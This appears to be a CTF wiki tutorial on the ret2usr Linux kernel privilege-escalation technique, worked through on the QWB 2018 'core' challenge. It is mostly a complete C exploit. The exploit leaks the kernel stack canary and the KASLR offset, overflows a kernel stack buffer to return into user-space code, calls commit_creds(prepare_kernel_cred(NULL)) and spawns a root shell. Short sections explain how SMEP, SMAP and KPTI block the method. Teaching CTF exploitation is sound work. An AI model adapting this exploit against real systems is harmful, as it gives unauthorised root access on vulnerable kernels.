Skip to content

ret2usr (Deprecated)

Overview

When SMAP/SMEP protections are NOT enabled, user space cannot access kernel-space data, but kernel space can access/execute user-space data. Therefore, the ret2usr attack technique was born — using kernel ROP to execute user-space code with the kernel's ring 0 privilege to achieve privilege escalation.

Typically, ret2usr in CTF still mainly uses commit_creds(prepare_kernel_cred(NULL)) for privilege escalation. However, compared to constructing a lengthy ROP chain, ret2usr only requires us to construct the corresponding function pointers in the user-mode program in advance, obtain the relevant function addresses, and then directly ret back to user space for execution. In this case, we only need to hijack the kernel execution flow without constructing a complex ROP chain in kernel space.

✳ For kernels with SMAP/SMEP protection enabled, attempting to directly access user space from kernel space will cause a kernel panic. We will discuss the bypass methods in the next section.

In the QEMU startup parameters, we can add -smep,-smap to the CPU parameter to explicitly disable SMEP&SMAP protections, for example:

#!/bin/sh
qemu-system-x86_64 \
    -enable-kvm \
    -cpu host,-smep,-smap \
# ...

Example: QWB 2018 - core

We won't repeat the detailed analysis here. Since SMAP/SMEP protections are not enabled, we can consider constructing the corresponding code in user address space and then directly using ret2usr for privilege escalation, writing assembly code to handle returning to user space. In kernel space, we only need to directly return to that function.

The final exploit is as follows:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>

/**
 * Kernel Pwn Infrastructures
**/

#define SUCCESS_MSG(msg)    "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg)       "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg)      "\033[31m\033[1m" msg "\033[0m"

#define log_success(msg)    puts(SUCCESS_MSG(msg))
#define log_info(msg)       puts(INFO_MSG(msg))
#define log_error(msg)      puts(ERROR_MSG(msg))

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t kernel_base = 0xffffffff81000000, kernel_offset;

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status(void)
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    log_success("[*] Status has been saved.");
}

void get_root_shell(void)
{
    if(getuid()) {
        log_error("[x] Failed to get the root!");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    log_success("[+] Successful to get the root.");
    log_info("[*] Execve root shell now...");

    system("/bin/sh");

    /* to exit the process normally, instead of potential segmentation fault */
    exit(EXIT_SUCCESS);
}

void* (*prepare_kernel_cred_kfunc)(void *task_struct);
int (*commit_creds_kfunc)(void *cred);

void ret2usr_attack(void)
{
    prepare_kernel_cred_kfunc = (void*(*)(void*)) prepare_kernel_cred;
    commit_creds_kfunc = (int (*)(void*)) commit_creds;

    (*commit_creds_kfunc)((*prepare_kernel_cred_kfunc)(NULL));

    asm volatile(
        "mov rax, user_ss;"
        "push rax;"
        "mov rax, user_sp;"
        "sub rax, 8;"   /* stack balance */
        "push rax;"
        "mov rax, user_rflags;"
        "push rax;"
        "mov rax, user_cs;"
        "push rax;"
        "lea rax, get_root_shell;"
        "push rax;"
        "swapgs;"
        "iretq;"
    );
}

/**
 * Challenge Interface
**/

void core_read(int fd, char *buf)
{
    ioctl(fd, 0x6677889B, buf);
}

void set_off_val(int fd, size_t off)
{
    ioctl(fd, 0x6677889C, off);
}

void core_copy(int fd, size_t nbytes)
{
    ioctl(fd, 0x6677889A, nbytes);
}

/**
 * Exploitation
**/

#define COMMIT_CREDS 0xffffffff8109c8e0

void exploitation(void)
{
    FILE *ksyms_file;
    int fd;
    char buf[0x1000], type[0x10];
    size_t addr;
    size_t canary;
    size_t rop_chain[0x100], i;

    log_info("[*] Start to exploit...");
    save_status();

    fd = open("/proc/core", O_RDWR);
    if(fd < 0) {
        log_error("[x] Failed to open the /proc/core !");
        exit(EXIT_FAILURE);
    }

    /* get addresses of kernel symbols */

    log_info("[*] Reading /tmp/kallsyms...");

    ksyms_file = fopen("/tmp/kallsyms", "r");
    if(ksyms_file == NULL) {
        log_error("[x] Failed to open the sym_table file!");
        exit(EXIT_FAILURE);
    }

    while(fscanf(ksyms_file, "%lx%s%s", &addr, type, buf)) {
        if(prepare_kernel_cred && commit_creds) {
            break;
        }

        if(!commit_creds && !strcmp(buf, "commit_creds")) {
            commit_creds = addr;
            printf(
                SUCCESS_MSG("[+] Successful to get the addr of commit_cread: ")   
               "%lx\n", commit_creds);
            continue;
        }

        if(!strcmp(buf, "prepare_kernel_cred")) {
            prepare_kernel_cred = addr;
            printf(SUCCESS_MSG(
                "[+] Successful to get the addr of prepare_kernel_cred: ")
               "%lx\n", prepare_kernel_cred);
            continue;
        }
    }

    kernel_offset = commit_creds - COMMIT_CREDS;
    kernel_base += kernel_offset;
    printf(
        SUCCESS_MSG("[+] Got kernel base: ") "%lx"
        SUCCESS_MSG(" , kaslr offset: ") "%lx\n",
        kernel_base,
        kernel_offset
    );

    /* reading canary value */

    log_info("[*] Reading value of kernel stack canary...");

    set_off_val(fd, 64);
    core_read(fd, buf);
    canary = ((size_t*) buf)[0];

    printf(SUCCESS_MSG("[+] Got kernel stack canary: ") "%lx\n", canary);

    /* building ROP chain */

    rop_chain[8] = canary;
    rop_chain[10] = (size_t) ret2usr_attack;

    /* exploitation */

    log_info("[*] Start to execute ROP chain in kernel space...");

    write(fd, rop_chain, 0x800);
    core_copy(fd, 0xffffffffffff0000 | (0x100));
}

int main(int argc, char ** argv)
{
    exploitation();
    return 0;   /* never arrive here... */
}

Here we can notice that the main difference from the previous standard kernel ROP approach is in the ROP chain construction:

  • The standard kernel ROP approach constructs a complex ROP chain in kernel space to control the kernel execution flow for privilege escalation, then continues to use the ROP chain to call the existing swapgs; iretq instructions in kernel space to return to user mode, and executes system("/bin/sh") in user space to get a shell. This approach requires manually constructing a complex ROP chain and is highly dependent on the availability of usable ROP gadgets in the kernel.
  • In the ret2usr approach, we directly return to a designated function in user space, where we call commit_creds(prepare_kernel_cred(NULL)) in kernel space through function pointers for privilege escalation. After that, we complete the swapgs; iretq return-to-user-mode process through our manually constructed bare assembly code. In this case, we only need to hijack the kernel execution flow without constructing a complex ROP chain in kernel space.

From the comparison of these two approaches, we can understand that the reason for ret2usr is that constructing code for a specific purpose in user space is generally much simpler than in kernel space.

KPTI and ret2usr

For kernels with KPTI enabled, the user address space in the kernel page table has no execute permission. Therefore, when the kernel attempts to execute user-space code, it will directly panic because the corresponding top-level page table entry does not have the executable bit set. This means that ret2usr is effectively a thing of the past.